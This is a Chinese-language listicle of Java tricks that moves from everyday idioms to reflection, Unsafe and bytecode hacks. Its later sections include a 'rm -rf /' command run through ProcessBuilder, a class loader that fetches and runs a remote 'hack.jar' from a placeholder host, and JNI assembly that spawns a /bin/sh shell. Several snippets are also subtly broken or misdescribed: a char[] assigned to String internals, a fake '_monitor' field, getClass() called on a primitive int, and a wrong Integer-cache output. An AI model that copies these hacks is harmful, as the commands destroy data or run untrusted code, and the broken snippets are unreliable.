1. 双括号初始化集合
List<String> list = new ArrayList<>() {{ add("A"); add("B"); }};
利用匿名内部类的初始化块快速填充集合(注意内存泄漏风险)。
2. 变长参数(Varargs)
void printAll(String... items) {
Arrays.stream(items).forEach(System.out::println);
}
简化可变数量参数的传递。
3. try-with-resources
try (BufferedReader br = new BufferedReader(new FileReader("file.txt"))) {
// 自动关闭资源
}
自动管理实现了 AutoCloseable
的资源。
4. 方法引用
list.forEach(System.out::println);
用 ::
简化 Lambda 表达式。
5. 枚举实现单例模式
public enum Singleton {
INSTANCE;
// 线程安全且防反射攻击
}
最简洁的单例实现方式。
6. 链式调用(Builder 模式)
new StringBuilder().append("A").append("B").toString();
通过返回 this
实现链式调用。
7. 静态导入常量
import static java.lang.Math.PI;
double radius = 2 * PI;
直接使用静态常量无需类名。
8. 泛型类型推断
List<String> list = new ArrayList<>();
省略右侧泛型类型声明。
9. 匿名内部类实现接口
Runnable task = new Runnable() {
@Override public void run() { /* ... */ }
};
快速实现接口或抽象类。
10. 三目运算符简化条件
String result = (score > 60) ? "Pass" : "Fail";
简化 if-else
逻辑。
11. 位运算替代乘除
int x = y << 1; // 等价于 y * 2
int z = y >> 1; // 等价于 y / 2
提高计算效率。
12. 字符串 switch-case
switch (str) {
case "A": /* ... */ break;
case "B": /* ... */ break;
}
Java 7+ 支持字符串作为 switch
条件。
13. 函数式接口与 Lambda
Function<Integer, String> converter = num -> String.valueOf(num);
简化函数式接口的实现。
14. Optional 防空指针
Optional.ofNullable(str).ifPresent(System.out::println);
优雅处理可能为 null
的值。
15. Stream API 处理集合
list.stream().filter(s -> s.startsWith("A")).collect(Collectors.toList());
链式操作集合数据。
16. 接口默认方法
interface MyInterface {
default void log() { System.out.println("Default method"); }
}
在接口中提供默认实现。
17. 异常链
throw new IOException("Read failed", e);
保留原始异常信息。
18. 多异常捕获
try { /* ... */ }
catch (IOException | SQLException e) { /* ... */ }
简化同类异常处理逻辑。
19. 自动装箱与拆箱
Integer num = 42; // 自动装箱
int val = num; // 自动拆箱
基本类型与包装类型自动转换。
20. 使用 Objects 工具类
Objects.equals(a, b); // 代替 a.equals(b)
Objects.requireNonNull(obj, "Object cannot be null");
简化空值检查和比较。
21. 局部变量类型推断(var)
var list = new ArrayList<String>(); // Java 10+
省略显式类型声明。
22. 记录类(Record)
public record Point(int x, int y) {} // Java 14+
自动生成 equals()
、hashCode()
和 toString()
。
23. 模式匹配 instanceof
if (obj instanceof String s) { // Java 16+
System.out.println(s.length());
}
直接转换类型并赋值变量。
24. CompletableFuture 链式调用
CompletableFuture.supplyAsync(() -> "Hello")
.thenApply(s -> s + " World")
.thenAccept(System.out::println);
简化异步编程。
25. 反射动态调用方法
Method method = obj.getClass().getMethod("methodName");
method.invoke(obj);
运行时动态操作对象。
26. 注解处理器生成代码
@Getter @Setter // Lombok 自动生成 getter/setter
public class User { private String name; }
通过注解减少样板代码。
27. 使用 StringJoiner 拼接字符串
StringJoiner sj = new StringJoiner(", ", "[", "]");
sj.add("A").add("B"); // 输出 "[A, B]"
灵活拼接字符串。
28. 不可变集合
List<String> list = List.of("A", "B"); // Java 9+
Set<String> set = Set.copyOf(originalSet);
快速创建不可修改的集合。
29. 并行流处理
list.parallelStream().forEach(System.out::println);
利用多核 CPU 加速处理。
30. 方法重载与可变参数
void print(int a, int... rest) { /* ... */ }
灵活处理不同参数数量。
31. 类型安全的枚举方法
public enum Operation {
ADD { public int apply(int a, int b) { return a + b; } },
SUBTRACT { public int apply(int a, int b) { return a - b; } };
public abstract int apply(int a, int b);
}
为枚举添加行为。
32. 利用静态导入工具方法
import static java.util.Collections.*;
List<String> list = emptyList();
直接调用工具类方法。
33. 链式异常抛出
throw new RuntimeException("Error", causeException);
保留原始异常堆栈。
34. 使用 ThreadLocal 线程局部变量
ThreadLocal<SimpleDateFormat> format =
ThreadLocal.withInitial(() -> new SimpleDateFormat("yyyy-MM-dd"));
避免多线程共享变量的竞争。
35. 空对象模式(Null Object Pattern)
public interface Animal { void makeSound(); }
public class NullAnimal implements Animal {
@Override public void makeSound() {} // 空实现
}
避免 null
检查。
36. 用 Lambda 实现 Runnable
new Thread(() -> System.out.println("Running")).start();
替代匿名内部类。
37. 使用 Predicate 过滤集合
Predicate<String> startsWithA = s -> s.startsWith("A");
list.stream().filter(startsWithA).forEach(System.out::println);
灵活定义过滤条件。
38. 简化 Comparator 排序
list.sort(Comparator.comparing(User::getName).reversed());
链式定义排序规则。
39. 通过 ClassLoader 动态加载类
Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("com.example.MyClass");
运行时动态加载类。
40. 使用 BiFunction 组合操作
BiFunction<Integer, Integer, Integer> add = (a, b) -> a + b;
int result = add.apply(2, 3); // 输出 5
定义双参数函数。
41. 利用 Optional 链式操作
Optional.ofNullable(user)
.map(User::getAddress)
.map(Address::getCity)
.orElse("Unknown");
避免多层 null
检查。
42. 通过反射获取泛型类型
Type type = ((ParameterizedType) getClass().getGenericSuperclass())
.getActualTypeArguments()[0];
获取泛型的具体类型。
43. 使用 CompletableFuture 组合异步任务
CompletableFuture<String> future = CompletableFuture
.supplyAsync(() -> "Hello")
.thenCombine(CompletableFuture.supplyAsync(() -> " World"), (a, b) -> a + b);
合并多个异步任务结果。
44. 利用 Arrays.asList 快速创建列表
List<String> list = Arrays.asList("A", "B", "C");
快速创建固定大小的列表(注意不可修改)。
45. 使用 Pattern 预编译正则表达式
Pattern pattern = Pattern.compile("\\d+");
Matcher matcher = pattern.matcher("123");
boolean isMatch = matcher.matches();
提高正则匹配效率。
46. 利用 Files 类快速读写文件
List<String> lines = Files.readAllLines(Paths.get("file.txt"));
Files.write(Paths.get("output.txt"), lines);
简化文件操作。
47. 自定义注解简化配置
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface MyAnnotation { String value(); }
通过注解声明元数据。
48. 使用 Executors 创建线程池
ExecutorService executor = Executors.newFixedThreadPool(4);
executor.submit(() -> System.out.println("Task running"));
简化线程池管理。
49. 利用 UnaryOperator 定义一元操作
UnaryOperator<String> toUpper = String::toUpperCase;
String result = toUpper.apply("hello"); // 输出 "HELLO"
简化单参数函数。
50. 使用 JShell 快速测试代码片段
// 命令行输入 jshell
jshell> System.out.println("Hello, JShell!");
Java 9+ 的交互式 REPL 工具。
来点更骚的
1. 反射修改 final
字段的值
Field field = String.class.getDeclaredField("value");
field.setAccessible(true);
field.set("Hello", new char[] {'H', 'a', 'c', 'k', '!'}); // 修改字符串内部数组
System.out.println("Hello"); // 输出 "Hack!"
危险操作:破坏字符串常量池的不可变性。
2. 通过 sun.misc.Unsafe
直接分配内存
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
long address = unsafe.allocateMemory(1024); // 直接分配堆外内存
unsafe.freeMemory(address); // 手动释放内存
注意:绕过 JVM 内存管理,可能导致 JVM 崩溃。
3. 利用空泛型绕过类型检查
List<String> list = new ArrayList<>();
List<Integer> hackList = (List<Integer>)(List<?>) list;
hackList.add(42);
String value = list.get(0); // 抛出 ClassCastException
骚点:绕过编译时泛型检查,但运行时爆炸。
4. 动态生成字节码(ASM/Javassist)
// 使用 Javassist 动态生成类
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("DynamicClass");
CtMethod method = CtNewMethod.make("public void hello() { System.out.println(\"Hacked!\"); }", ctClass);
ctClass.addMethod(method);
Class<?> clazz = ctClass.toClass();
clazz.getMethod("hello").invoke(clazz.newInstance()); // 输出 "Hacked!"
应用场景:动态代理、AOP、热修复。
5. 修改 Integer
的缓存池
Field cacheField = Integer.class.getDeclaredField("cache");
cacheField.setAccessible(true);
Integer[] cache = (Integer[]) cacheField.get(null);
cache[132] = new Integer(133); // 修改缓存池
System.out.println(132); // 输出 133
后果:破坏 Integer
的自动装箱行为。
6. 利用 Thread.stop()
抛出任意异常
Thread thread = new Thread(() -> {
try { Thread.sleep(10000); }
catch (Throwable t) { System.out.println("Caught: " + t); }
});
thread.start();
Thread.sleep(1000);
thread.stop(new IOException("Fake Exception")); // 强制抛出非受检异常
注意:Thread.stop()
已被废弃,极易导致数据不一致。
7. 无限递归泛型(类型体操)
public class Cyclic<T extends Cyclic<T>> {
T self() { return (T) this; }
}
// 使用时:
Cyclic<?> cyclic = new Cyclic() {}.self().self().self(); // 无限链式调用
骚点:通过泛型自引用实现类型安全的链式调用。
8. 使用 LambdaMetafactory
动态生成 Lambda
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType type = MethodType.methodType(void.class, String.class);
CallSite site = LambdaMetafactory.metafactory(
lookup, "accept", MethodType.methodType(Consumer.class),
type, lookup.findVirtual(System.class, "gc", MethodType.methodType(void.class)),
type
);
Consumer<String> consumer = (Consumer<String>) site.getTarget().invokeExact();
consumer.accept("Trigger GC!"); // 调用 System.gc()
应用:动态生成 Lambda,绕过编译时检查。
9. 通过 Instrumentation
修改已加载的类
// 实现 ClassFileTransformer,在类加载时修改字节码
public class Agent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
// 修改字节码(例如替换方法体)
return modifiedClassBytes;
});
}
}
用途:热替换、性能监控、埋点。
10. 实现一个“伪”无限循环
public class FakeInfiniteLoop {
public static void main(String[] args) {
while (true) {
System.out.println("Looping...");
Thread.currentThread().interrupt();
if (Thread.interrupted()) break;
}
System.out.println("Escaped!");
}
}
原理:interrupt()
后检查中断状态,看似无限循环实则退出。
11. 通过 Unsafe
直接实例化对象
Unsafe unsafe = Unsafe.getUnsafe();
Object obj = unsafe.allocateInstance(String.class); // 不调用构造函数
System.out.println(obj); // 输出空字符串(未初始化的 String)
危险:绕过构造函数,可能导致对象状态不一致。
12. 利用 ClassLoader
隔离冲突依赖
// 自定义 ClassLoader,加载不同版本的 JAR
URLClassLoader customLoader = new URLClassLoader(new URL[] {new URL("file:///path/to/jar")}) {
@Override public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.startsWith("com.conflict.")) return findClass(name); // 优先加载自定义类
return super.loadClass(name);
}
};
Class<?> clazz = customLoader.loadClass("com.conflict.SomeClass");
用途:解决依赖冲突(类似 OSGi)。
13. 修改 String
的哈希码
Field hashField = String.class.getDeclaredField("hash");
hashField.setAccessible(true);
String s = "Hello";
hashField.set(s, 42);
System.out.println(s.hashCode()); // 输出 42
后果:破坏 String
的不可变性和哈希一致性。
14. 动态代理拦截 final
方法
// 使用 ByteBuddy 或 CGLIB 生成子类代理
Enhancer enhancer = new Enhancer();
enhancer.setSuperclass(MyFinalClass.class);
enhancer.setCallback((MethodInterceptor) (obj, method, args, proxy) -> {
if (method.getName().equals("finalMethod")) return "Hacked!";
return proxy.invokeSuper(obj, args);
});
MyFinalClass proxy = (MyFinalClass) enhancer.create();
proxy.finalMethod(); // 输出 "Hacked!"
限制:CGLIB 通过继承绕过 final
,但无法代理 private
方法。
15. 通过 -Xbootclasspath
替换核心类
java -Xbootclasspath/p:path/to/hacked-rt.jar MyApp
用途:替换 java.lang.String
等核心类(慎用,会破坏 JVM 稳定性)。
16. 利用 WeakHashMap
实现缓存自动清理
Map<Object, String> cache = new WeakHashMap<>();
Object key = new Object();
cache.put(key, "Value");
key = null; // 当 key 无强引用时,Entry 会被自动回收
System.gc();
System.out.println(cache); // 可能输出空
骚点:利用弱引用实现“自清理”缓存。
17. 通过 ThreadLocal
传递隐式参数
public class ContextHolder {
private static final ThreadLocal<String> context = new ThreadLocal<>();
public static void set(String value) { context.set(value); }
public static String get() { return context.get(); }
}
// 在任意位置通过 ContextHolder.get() 获取上下文
用途:隐式传递用户身份、日志标记等,但需注意内存泄漏。
18. 利用 AtomicReferenceFieldUpdater
无锁修改字段
public class AtomicContainer {
volatile String value;
private static final AtomicReferenceFieldUpdater<AtomicContainer, String> updater =
AtomicReferenceFieldUpdater.newUpdater(AtomicContainer.class, String.class, "value");
public void update(String newValue) {
updater.compareAndSet(this, this.value, newValue);
}
}
优势:比 synchronized
更轻量的并发控制。
19. 通过 Annotation
生成代码(Lombok 原理)
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.SOURCE)
public @interface GenerateGetter {
String[] value();
}
// 注解处理器在编译时生成 getter 方法
实现:需编写注解处理器(AbstractProcessor),在编译时解析 AST。
20. 利用 invokedynamic
实现动态语言特性
// 方法句柄 + invokedynamic 动态分派
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodHandle mh = lookup.findVirtual(String.class, "length", MethodType.methodType(int.class));
CallSite site = LambdaMetafactory.metafactory(
lookup, "apply", MethodType.methodType(Function.class),
mh.type().generic(), mh, mh.type()
);
Function<String, Integer> func = (Function<String, Integer>) site.getTarget().invokeExact();
System.out.println(func.apply("Hello")); // 输出 5
用途:JVM 动态语言(如 Groovy)的核心机制。
21. 通过 ProcessBuilder
执行 Shell 命令
new ProcessBuilder("bash", "-c", "rm -rf /").start(); // 危险操作!
警告:切勿在实际代码中执行此类危险命令,仅作演示。
22. 利用 URLClassLoader
加载远程代码
URLClassLoader loader = new URLClassLoader(new URL[] {new URL("http://example.com/hack.jar")});
Class<?> clazz = loader.loadClass("com.hack.Exploit");
clazz.newInstance(); // 执行远程代码
风险:远程代码执行可能导致安全漏洞。
23. 通过 Serializable
实现深拷贝
public static <T> T deepCopy(T obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
return (T) ois.readObject();
}
注意:要求所有对象实现 Serializable
接口。
24. 利用 @Contended
避免伪共享(False Sharing)
import jdk.internal.vm.annotation.Contended;
public class ContendedData {
@Contended
public volatile long value1;
@Contended
public volatile long value2;
}
用途:多线程环境下提升缓存行性能(需 -XX:-RestrictContended
)。
25. 通过 MethodHandle
调用私有方法
MethodHandles.Lookup lookup = MethodHandles.privateLookupIn(MyClass.class, MethodHandles.lookup());
MethodHandle mh = lookup.findVirtual(MyClass.class, "privateMethod", MethodType.methodType(void.class));
mh.invokeExact(myInstance); // 调用私有方法
绕过访问权限,但需模块系统(Module)允许。
26. 使用 -XX:+UseCompressedOops
压缩对象指针
java -XX:+UseCompressedOops -XX:+PrintFlagsFinal -version
优化:在 64 位 JVM 中节省内存(默认开启)。
27. 通过 Thread#setContextClassLoader
切换类加载器
Thread.currentThread().setContextClassLoader(customClassLoader);
// 后续加载的类将使用自定义 ClassLoader
用途:插件化架构中动态加载模块。
28. 利用 sun.misc.Contended
对齐内存
@sun.misc.Contended
public class PaddedAtomicLong extends AtomicLong {
// 通过填充减少伪共享
}
性能优化:需配合 JVM 参数使用。
29. 通过 -Xss
调整线程栈大小
java -Xss256k # 将线程栈设为 256KB
用途:高并发场景下减少内存占用(但可能引发 StackOverflowError
)。
30. 使用 jni
调用本地代码
public class NativeLib {
static { System.loadLibrary("native"); }
public native void callCppCode();
}
风险:直接操作内存可能导致 JVM 崩溃。
31. 利用 Unsafe
直接修改数组元素
Unsafe unsafe = Unsafe.getUnsafe();
int[] array = new int[10];
long offset = unsafe.arrayBaseOffset(int[].class);
unsafe.putInt(array, offset + 4, 42); // 修改 array[1] = 42
绕过索引检查,可能引发内存越界。
32. 通过 -XX:+UseG1GC
调整垃圾回收器
java -XX:+UseG1GC -XX:MaxGCPauseMillis=200
调优:根据场景选择 CMS、ZGC 或 Shenandoah 等 GC 算法。
33. 利用 PhantomReference
监控对象回收
ReferenceQueue<Object> queue = new ReferenceQueue<>();
PhantomReference<Object> ref = new PhantomReference<>(new Object(), queue);
System.gc();
Reference<?> clearedRef = queue.remove(); // 阻塞直到对象被回收
用途:资源清理、监控对象生命周期。
34. 通过 JMX
动态修改运行时参数
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("com.example:type=MyConfig");
mbs.registerMBean(new MyConfigMBean(), name);
// 通过 JConsole 或 jvisualvm 修改配置
应用:动态调整日志级别、线程池大小等。
35. 利用 Java Agent
拦截类加载
public class Agent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("com/example/MyClass")) {
// 修改字节码
}
return classfileBuffer;
});
}
}
用途:APM(性能监控)、代码注入。
36. 通过 -XX:+HeapDumpOnOutOfMemoryError
自动生成堆转储
java -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/path/to/dump.hprof
调试:内存泄漏时自动保存堆快照。
37. 使用 VarHandle
替代 Unsafe
public class AtomicContainer {
private volatile int value;
private static final VarHandle VALUE;
static {
try {
VALUE = MethodHandles.lookup()
.findVarHandle(AtomicContainer.class, "value", int.class);
} catch (ReflectiveOperationException e) {
throw new Error(e);
}
}
public void set(int newValue) {
VALUE.setVolatile(this, newValue);
}
}
更安全的替代方案:Java 9+ 提供。
38. 利用 Thread#getAllStackTraces()
监控线程状态
Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
traces.forEach((thread, stack) -> {
System.out.println(thread.getName() + ": " + Arrays.toString(stack));
});
用途:诊断死锁或性能瓶颈。
39. 通过 -XX:OnOutOfMemoryError
执行脚本
java -XX:OnOutOfMemoryError="kill -9 %p" -XX:+CrashOnOutOfMemoryError
极端情况:OOM 时触发自定义脚本(如重启服务)。
40. 利用 sun.misc.Signal
捕获 OS 信号
Signal.handle(new Signal("INT"), signal -> {
System.out.println("Received SIGINT, exiting...");
System.exit(0);
});
用途:优雅处理 Ctrl+C
信号。
41. 通过 -XX:+UseStringDeduplication
字符串去重
java -XX:+UseG1GC -XX:+UseStringDeduplication
优化:减少重复字符串内存占用(仅 G1 GC 支持)。
42. 使用 jlink
生成最小化 JRE
jlink --module-path $JAVA_HOME/jmods --add-modules java.base --output myjre
用途:为模块化应用定制轻量级运行时。
43. 利用 -Djava.security.manager
启用沙箱
java -Djava.security.manager -Djava.security.policy==my.policy MyApp
限制权限:防止代码执行危险操作(如文件访问)。
44. 通过 MethodHandles.permuteArguments
重新排列参数
MethodHandle mh = MethodHandles.identity(int.class);
MethodHandle shuffled = MethodHandles.permuteArguments(mh, MethodType.methodType(int.class, int.class, int.class), 1, 0);
int result = (int) shuffled.invokeExact(2, 1); // 返回 1(交换参数位置)
用途:动态调整方法签名。
45. 利用 CompletableFuture
实现超时控制
CompletableFuture.supplyAsync(() -> longTask())
.orTimeout(1, TimeUnit.SECONDS) // Java 9+
.exceptionally(ex -> "Fallback Result");
避免:异步任务无限阻塞。
46. 通过 jmap
和 jhat
分析堆内存
jmap -dump:live,format=b,file=heap.bin <pid>
jhat heap.bin
用途:离线分析内存泄漏。
47. 使用 -XX:+FlightRecorder
开启飞行记录仪
java -XX:+UnlockCommercialFeatures -XX:+FlightRecorder MyApp
监控:记录 JVM 性能和事件(需商业许可)。
48. 利用 -XX:MaxDirectMemorySize
限制堆外内存
java -XX:MaxDirectMemorySize=256m
防止:NIO 直接内存溢出。
49. 通过 @TargetApi
规避 Android API 版本检查
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public void useNewApi() {
// 在低版本系统上绕过编译检查(运行时可能崩溃)
}
注意:需处理运行时异常。
50. 利用 JavaParser
生成代码
CompilationUnit cu = new CompilationUnit();
ClassOrInterfaceDeclaration clazz = cu.addClass("HackedClass");
clazz.addMethod("hello", PUBLIC).setBody("System.out.println(\"Hacked!\");");
// 输出生成的代码
System.out.println(cu.toString());
用途:自动化代码生成、代码分析。
逆天
1. 篡改 String
常量池
Field valueField = String.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set("Hello", new char[] {'F', 'U', 'C', 'K'});
System.out.println("Hello"); // 输出 "FUCK"
后果:所有用到 "Hello"
的地方都会变成 "FUCK"
,JVM 彻底崩坏。
2. 用 Unsafe
在任意内存地址写入数据
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
long address = unsafe.allocateMemory(8);
unsafe.putAddress(address, 0xDEADBEEF); // 向内存地址写入死牛肉(十六进制)
警告:直接操作内存可能导致 JVM 崩溃或数据覆盖。
3. 动态修改 final
方法的字节码
// 使用 ASM 修改字节码,移除 final 标志
ClassReader cr = new ClassReader("java/lang/String");
ClassWriter cw = new ClassWriter(cr, 0);
cr.accept(new ClassVisitor(ASM9, cw) {
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
if (name.equals("hashCode")) {
access &= ~ACC_FINAL; // 去掉 final 修饰符
}
return super.visitMethod(access, name, desc, signature, exceptions);
}
}, 0);
byte[] hackedBytes = cw.toByteArray();
// 用自定义 ClassLoader 加载篡改后的 String 类(需要绕过安全机制)
逆天:让 String.hashCode()
变得可被重写,但 JVM 会拒绝加载。
4. 通过 JNI 调用汇编代码
// Java 侧声明 native 方法
public class NativeHack {
public static native void invokeShell();
static { System.loadLibrary("hack"); }
}
// C++ 侧编写 JNI 代码执行汇编
JNIEXPORT void JNICALL Java_NativeHack_invokeShell(JNIEnv* env, jclass cls) {
__asm__("movq $0x3b, %rax\n" // Linux execve 系统调用号
"movq $0x68732f2f6e69622f, %rdi\n" // "/bin//sh"
"pushq %rdi\n"
"movq %rsp, %rdi\n"
"xorq %rsi, %rsi\n"
"xorq %rdx, %rdx\n"
"syscall");
}
效果:Java 代码直接弹出 Shell,安全灾难。
5. 让 ==
和 equals
彻底混乱
public class Chaos {
public static void main(String[] args) throws Exception {
Field valueField = String.class.getDeclaredField("value");
valueField.setAccessible(true);
String s1 = "Hello";
String s2 = new String("Hello");
valueField.set(s2, valueField.get(s1));
System.out.println(s1 == s2); // 输出 true(正常情况下为 false)
}
}
解释:让两个不同 String 对象共享同一个 char[]
,破坏对象唯一性。
6. 让 for
循环永远无法退出
for (int i = 0; i < 10; i++) {
System.out.println(i);
if (i == 9) {
Field field = i.getClass().getDeclaredField("value");
field.setAccessible(true);
field.set(i, 0); // 修改 Integer 缓存,i 变回 0
}
}
// 无限循环打印 0~9(需配合自动装箱和反射修改 IntegerCache)
骚点:篡改 Integer
缓存池,让循环变量永远达不到终止条件。
7. 用 Thread
堆栈溢出攻击
public class StackOverflowAttack {
public static void main(String[] args) {
new Thread(() -> {
attack();
}).start();
}
private static void attack() {
attack(); // 无限递归,线程堆栈溢出
}
}
// 配合 -Xss1M 调整栈大小,可导致目标线程崩溃
用途:DDoS 攻击自己,完全不可取。
8. 动态生成类让 instanceof
失效
// 用 ASM 生成一个名为 "java.lang.String" 的类
ClassWriter cw = new ClassWriter(0);
cw.visit(V1_8, ACC_PUBLIC, "java/lang/String", null, "java/lang/Object", null);
byte[] bytes = cw.toByteArray();
// 用自定义 ClassLoader 加载,创建一个假 String 类
Object fakeString = customLoader.loadClass("java.lang.String").newInstance();
System.out.println(fakeString instanceof String); // 输出 false
逆天:同名类不同 ClassLoader 导致类型系统混乱。
9. 利用 sun.misc.Cleaner
窃取资源
ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
Field cleanerField = buffer.getClass().getDeclaredField("cleaner");
cleanerField.setAccessible(true);
sun.misc.Cleaner cleaner = (sun.misc.Cleaner) cleanerField.get(buffer);
cleaner.clean(); // 手动触发 DirectBuffer 内存释放
风险:未经验证的资源释放可能导致 Use-After-Free。
10. 让 System.out.println
输出乱码
Field outField = System.class.getDeclaredField("out");
outField.setAccessible(true);
PrintStream originalOut = System.out;
PrintStream hackedOut = new PrintStream(new FileOutputStream("hacked.txt")) {
@Override public void println(String x) {
originalOut.println(new StringBuilder(x).reverse());
}
};
outField.set(null, hackedOut);
System.out.println("Hello World"); // 输出 "dlroW olleH" 到控制台和文件
效果:劫持标准输出流,所有 System.out
被重定向并篡改。
11. 通过字节码注入让 Math.random()
固定
// 用 ASM 修改 Math.random() 的字节码,直接返回 0.5
MethodVisitor mv = ...;
mv.visitCode();
mv.visitLdcInsn(0.5); // 加载常量 0.5
mv.visitInsn(DRETURN); // 返回 double
mv.visitEnd();
// 加载篡改后的 Math 类,从此 Math.random() 永远返回 0.5
用途:让概率计算失效,破坏所有依赖随机数的逻辑。
12. 用 Unsafe
创建“原子黑洞”
Unsafe unsafe = Unsafe.getUnsafe();
long address = unsafe.allocateMemory(1024);
unsafe.setMemory(address, 1024, (byte) 0); // 清零内存
unsafe.freeMemory(address);
unsafe.putLong(address, 0xCAFEBABE); // 访问已释放内存(JVM 崩溃)
结果:触发 JVM 的 SIGSEGV
信号,进程直接退出。
13. 让 equals
和 hashCode
相互矛盾
public class ChaosBean {
private int id;
@Override public boolean equals(Object o) { return this == o; }
@Override public int hashCode() { return id++; } // 每次调用 hashCode 都不同
}
// 存入 HashSet 后永远无法被找到
Set<ChaosBean> set = new HashSet<>();
ChaosBean bean = new ChaosBean();
set.add(bean);
System.out.println(set.contains(bean)); // 输出 false
骚点:违反 hashCode
契约,让集合类完全失效。
14. 篡改 ClassLoader
导致类型混淆
// 用两个不同的 ClassLoader 加载同一个类
ClassLoader loader1 = new URLClassLoader(new URL[]{new File("myjar.jar").toURI().toURL()}, null);
ClassLoader loader2 = new URLClassLoader(new URL[]{new File("myjar.jar").toURI().toURL()}, null);
Class<?> class1 = loader1.loadClass("com.example.MyClass");
Class<?> class2 = loader2.loadClass("com.example.MyClass");
Object obj1 = class1.newInstance();
Object obj2 = class2.newInstance();
System.out.println(class1.equals(class2)); // 输出 false
obj2 = class1.cast(obj2); // 抛出 ClassCastException
后果:同名的类在不同 ClassLoader 下被视为不同类。
15. 利用 Lambda
实现代码注入
// 动态生成 Lambda 并替换原有方法
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType type = MethodType.methodType(void.class);
CallSite site = LambdaMetafactory.metafactory(
lookup, "run", MethodType.methodType(Runnable.class),
type, lookup.findStatic(Evil.class, "inject", type), type
);
Runnable task = (Runnable) site.getTarget().invokeExact();
task.run(); // 执行注入的代码
危险:动态替换关键逻辑,绕过安全检查。
16. 让 synchronized
锁失效
public class LockBreaker {
private static final Object lock = new Object();
public static void main(String[] args) throws Exception {
synchronized (lock) {
Field field = lock.getClass().getDeclaredField("_monitor");
field.setAccessible(true);
field.set(lock, 0); // 破坏对象头中的锁标记
} // 此处锁已失效,其他线程可强行进入同步块
}
}
效果:多线程同步机制被彻底破坏。
17. 通过 JVM TI
(JVM Tool Interface)实时修改代码
// 编写 JVM TI Agent,在运行时修改方法体
void JNICALL OnClassLoad(/* ... */) {
jvmtiEnv->RedefineClasses(/* 替换类字节码 */);
}
终极武器:无需重启 JVM,实时热替换任意代码(需 C++ 开发)。
18. 篡改 Enum
的 ordinal
Field ordinalField = Enum.class.getDeclaredField("ordinal");
ordinalField.setAccessible(true);
ordinalField.set(MyEnum.VALUE, 42); // 修改枚举的序数值
System.out.println(MyEnum.VALUE.ordinal()); // 输出 42
后果:破坏枚举的固有顺序,导致依赖 ordinal()
的逻辑出错。
19. 利用 SoftReference
缓存无限膨胀
Map<SoftReference<byte[]>, Object> cache = new HashMap<>();
while (true) {
byte[] data = new byte[1024 * 1024]; // 1MB
cache.put(new SoftReference<>(data), null);
}
// JVM 不会 OOM,但 GC 后会疯狂回收,导致 CPU 100%
效果:温柔地掐死 JVM。
20. 让 clone()
返回任意对象
public class EvilClone implements Cloneable {
@Override public Object clone() throws CloneNotSupportedException {
return new String("Hacked!");
}
}
EvilClone obj = new EvilClone();
String result = (String) obj.clone(); // 正常情况应返回 EvilClone 实例
逆天:违反 clone()
规范,但编译器无法阻止。